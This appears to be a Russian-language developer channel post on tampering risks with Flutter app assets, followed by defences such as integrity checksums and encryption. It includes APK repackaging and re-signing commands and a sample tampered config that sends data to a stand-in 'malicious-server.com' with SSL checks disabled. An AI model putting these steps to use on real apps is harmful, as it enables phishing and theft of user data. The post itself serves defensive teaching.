Когда мы говорим о безопасности мобильных приложений, первое, что приходит в голову - защита исходного кода, обфускация, шифрование API-ключей. Но есть менее очевидный вектор атаки, который многие упускают из виду: ресурсы приложения. Те самые изображения, JSON-файлы, HTML-шаблоны и конфигурации, которые лежат в папке assets и кажутся безобидными. На самом деле они могут стать троянским конем, превращающим ваше приложение в инструмент мошенников без единого изменения в коде на Dart.
Как работает атака: проще, чем кажется:
Представьте стандартный процесс публикации Flutter-приложения. Вы собираете APK или AAB, подписываете его и отправляете в магазин. Но что происходит с этим APK после сборки?
Любой человек может скачать ваше приложение, выполнить несколько команд:
# Извлекаем ресурсы
apktool d yourapp.apk
# Редактируем файлы в папке assets/
# ...
# Перепаковываем
apktool b yourapp -o modified.apk
# Подписываем (да, даже без вашего ключа!)
zipalign -v 4 modified.apk aligned.apk
apksigner sign --ks fake.keystore aligned.apk
И вот уже существует модифицированная версия вашего приложения, которая выглядит и работает так же, но содержит измененные ресурсы. Этот APK может распространяться через сторонние магазины, мессенджеры или фишинговые сайты.
Сценарии, которые уже происходят:
WebView становится оружием:
Вы используете локальный HTML-файл для отображения справки или условий использования. Кажется безопасным? Хакер заменяет ваш help.html на страницу с фишинговой формой входа, которая крадет логины и пароли пользователей. При этом адресная строка показывает file:///android_asset/help.html - выглядит доверительно.
Конфигурация как бэкдор:
Приложение загружает настройки из config.json. В оригинале там безобидные цвета и тексты. После замены в конфиге появляются:
{
"api_endpoint": "https://malicious-server.com/collect",
"enable_debug": true,
"disable_ssl_checks": true
}
Теперь ваше приложение отправляет все данные на сервер злоумышленника и отключает проверки безопасности.
Кража ключей, которые «никто не найдет»:
Вы положили Firebase-ключ или токен Stripe в assets/secrets.json, решив, что «это же не в коде». Хакер извлекает APK, находит файл за 30 секунд и получает доступ к вашей инфраструктуре.
Защита - многослойный подход:
Минимизация ущерба:
Первый и главный принцип: не храните в ресурсах того, что можно не хранить. Конфигурации должны приходить с защищенного бэкенда. Ключи API - использовать через нативные хранилища или серверные прокси. Если ресурс не критичен для безопасности - проблема отпадает сама собой.
Верификация целостности:
Для ресурсов, которые действительно должны быть локальными, добавьте проверку контрольных сумм:
import 'package:crypto/crypto.dart';
import 'dart:convert';
Future<bool> verifyAsset(String assetPath, String expectedHash) async {
final data = await rootBundle.load(assetPath);
final bytes = data.buffer.asUint8List();
final hash = sha256.convert(bytes).toString();
return hash == expectedHash;
}
Храните хэши в нативной части приложения или получайте их с сервера при первом запуске.
Шифрование на лету:
Критичные данные в ресурсах можно хранить в зашифрованном виде. Например, конфигурационный JSON шифруется AES на этапе сборки и расшифровывается только в памяти при запуске. Ключ шифрования не должен лежать в том же APK.
🔗 Ссылка на подробную статью
💡 Вывод:
Безопасность ресурсов - это не опциональная функция, а обязательная часть разработки, особенно для финансовых, медицинских и корпоративных приложений. Злоумышленники ищут самые простые пути взлома, и незащищенные assets - именно такой путь.
Главный вывод: относитесь к ресурсам приложения с тем же уровнем паранойи, что и к исходному коду. Каждый файл в assets должен проходить проверку «а что будет, если его заменить?». Если ответ пугает - значит, нужна защита.
➡️ Flutter & Dart | Мобильный трудоголик